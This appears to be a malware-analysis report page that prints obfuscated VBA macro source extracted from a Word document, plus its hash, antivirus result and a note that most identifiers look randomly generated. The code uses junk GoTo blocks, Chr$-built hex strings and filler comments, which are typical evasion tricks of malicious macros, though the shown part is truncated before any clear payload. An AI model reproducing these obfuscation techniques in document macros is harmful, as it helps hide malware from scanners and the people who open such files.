XOLCCQML, QBBAZXYA As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo uzYXWJdj 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim ezJogXPk As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "SFDCTD.IOH" For Binary As 61 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #61, , ezJogXPk 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #61 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа uzYXWJdj: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа LVREFDQB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo nHIFYaUg 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim wHKNatth As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "XOFLVK.KEJ" For Binary As 18 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #18, , wHKNatth 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #18 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа nHIFYaUg: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа XOLCCQML = LTrim(LVREFDQB) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo lEfmxwLd 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim hEcYJnjf As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "LZROLZ.GXY" For Binary As 95 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #95, , hEcYJnjf 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #95 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа lEfmxwLd: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа QBBAZXYA = RTrim(XOLCCQML) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo bXyXRMHb 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim mCjiBVfn As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "WSNCCF.JYZ" For Binary As 19 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #19, , mCjiBVfn 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #19 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа bXyXRMHb: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo mbZsXtlt 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim hnScjpJy As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "LAQTTM.GWF" For Binary As 95 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #95, , hnScjpJy 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #95 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа mbZsXtlt: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа FMLQVHSY = LTrim(KMPBRSFT) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim ULLQMTFS, LBTFXLKX, RTJJVUWU As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo nHAwWAVU 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim xJSUhYwI As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "GVUAHS.QKO" For Binary As 18 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #18, , xJSUhYwI 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #18 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа nHAwWAVU: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа ULLQMTFS = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(57) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo vaIVZOki 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim maKpCDGo As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "WFFVXO.JIH" For Binary As 19 'щОШЩзруц ащрцуш ... (truncated)
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	125440 bytes
SHA-256: `a5106e399ca82ae9fa1d758046e6a599f0cae850fb2dc898dcf2993bd4e55a15`
Detection ClamAV: No threats found Obfuscation or payload: likely 442 of 727 identifiers look randomly generated (e.g. 'MQSKJZQBJLFINBL') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.